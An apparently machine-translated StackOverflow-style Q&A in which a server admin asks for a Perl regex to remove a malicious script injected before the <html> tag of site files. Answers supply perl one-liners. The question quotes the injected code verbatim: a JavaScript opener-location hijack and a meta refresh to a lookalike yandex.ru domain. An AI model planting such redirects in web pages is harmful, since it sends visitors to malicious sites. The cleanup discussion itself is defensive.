我管理的网络服务器上的文件夹最近被感染了,并且在整个文件的开放<html>
标记之前放置了一个恶意脚本。我正在尝试执行perl字符串替换脚本来清除它。
恶意文件看起来像这样:
<script language="JavaScript">
parent.window.opener.location="http://vkk.coom.ny8pbpk.ru?nhzwhhh=ZE9taWlsX2nkPRE0LmZub3ffaUQ9PTM3MCbjb0RlNWFlZnrvaEx2b2JydWLuYUJxfwC%3D%3D";
</script>
<meta http-equiv="refresh" content="0;URL=http://yandex.ru.ny8pbpk.ru?pk=i%2FGWhteXsNcf0qzPwdiVgMkkhvrG1YbO25gYgPqe2saQmdIDmeiUlsiXmNEQmPCfhMSD5" />
<html>
<head>
......and the file goes on
我和Regex混淆了,我试图从其他StackOverflow帖子中尽可能多地收集有关如何使用perl的字符串替换的信息。我遇到的最大问题是让它在多行上运行。
这是我到目前为止所拥有的:
perl -0777 -i -pe 's/\s*<html>/<html>/s' index.html
这似乎没有效果。如果我将第二个<html>
更改为<foobar>
,它会正确地替换为foobar,但它会忽略前面的所有内容。
据我所知,-0777
标志应该“啜饮”为一行,而\s*
应该匹配<html>
之前的整个字符串,但同样,我的正则表达式是缺乏。非常感谢任何帮助!
答案 0 :(得分:2)
试试这个:
perl -0777 -i -pe 's/^.*(?=<html>)//s' index.html
或更安全有效的模式:
perl -0777 -i -pe 's/^(?>[^<]++|<(?!html>))*(?=<html>)//' index.html
答案 1 :(得分:1)
\ s *太具体了。你不仅希望在之前匹配空格。尝试。*匹配之前的所有内容
答案 2 :(得分:0)
\s*
应为[\s\S]*
,因此它与所有字符匹配。
我发现这是一个很好的参考:http://www.cs.tut.fi/~jkorpela/perl/regexp.html
所以最后的工作命令是:
perl -0777 -i -pe 's/[\s\S]*<html>/<html>/s' index.html